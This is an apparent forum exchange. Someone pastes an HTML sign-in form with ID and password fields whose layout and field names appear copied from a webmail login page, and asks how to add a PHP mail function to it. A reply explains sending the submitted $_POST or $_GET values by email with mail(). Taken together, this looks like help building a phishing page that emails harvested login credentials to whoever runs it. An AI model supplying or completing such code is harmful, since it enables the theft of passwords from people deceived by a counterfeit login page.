how do i insert PHP command/tag/function within html?
please insert mail function into the html program below:
</script>
<table border="0" cellpadding="2" cellspacing="0">
<tr> <td align="right" nowrap><font face="arial" size="-1">ID:</font></td>
<td><input name="login" size="17" value=""></td>
</tr>
<tr> <td align="right" nowrap><font face="arial" size="-1">Password:</font></td>
<td><input name="passwd" type="password" size="17" maxlength="32"></td></tr>
<tr> <td colspan="2" nowrap align="center"><font face="arial" size="-1">
<input type="checkbox" name=".persistent" value="y">Remember my ID on this computer</font></td>
</tr><tr>
<td> </td>
<td><input name=".save" type="submit" value="Sign In"></td>
</tr>
</table>
You need to create a string with the $POST or $GET arrays contents for the name etc.
and send it with mail( "emailaddr","subject","message","other headers" );